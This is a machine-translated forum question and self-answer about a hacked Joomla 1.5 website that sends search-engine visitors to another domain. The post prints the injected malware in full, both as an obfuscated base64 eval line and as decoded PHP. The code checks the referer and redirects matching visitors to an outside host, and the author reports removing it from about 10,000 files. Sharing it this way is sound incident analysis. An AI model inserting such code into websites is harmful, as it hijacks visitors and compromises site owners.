Ish*_*gra 2 redirect virus google-search joomla1.5
今天在给我的网站检查时,发现了这个问题.
以下是问题的详细信息:
当我在Google上访问我的网站时,它会一如既往地出现在Google结果页面中.
但是当我在搜索结果中点击我网站的链接时,需要一些时间来重定向我,在处理之后它会将我重定向到一些随机URL(在我的不同域上).
它也工作正常,如果我尝试直接访问,通过浏览器直接输入地址它运作良好.
本网站正在运行Joomla 1.5.20版.
我已经搜索过这个问题,我正在分享搜索网页后得到的内容.
所有论坛都说这是受到黑客或病毒攻击的感染.
所有论坛说唯一的解决方案是重新安装Joomla.
只有Joomla和WordPress网站才会生效.
这个威胁存在于PHP代码中的某些地方.
为了防止这种情况,将来使用模板,附加组件等的更新.
这就是我的所有研究,现在有没有人,谁知道如何在没有重新安装的情况下解决这个问题以及将来防止这种情况的提示?
终于把问题整理出来了,在截止日期之前,这里有详细信息:
首先是威胁是什么:
它是一个简单的Base64编码的PHP脚本,我在我的网站的所有文件中找到它,它的外观如下:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGluaWEuenlucy5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));
Run Code Online (Sandbox Code Playgroud)
这是base64编码的代码,现在这里是解码此字符串后将要运行的PHP的实际代码:
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://hinia.zyns.com/");
exit();
}
}
}
}
}
Run Code Online (Sandbox Code Playgroud)
正如你在代码中看到的那样,这只会针对搜索引擎,所以现在清楚这就是威胁.
现在任何猜测这个重复多少时间,通过我的网站???
你不会相信,它重复了大约10,000次,无论是模块,插件,管理员,库等,我都会在每个文件中排序.
所以为了让我的网站再次运行,我不得不删除每一行,我做了同样的事情,因此你可以检查网站运行良好.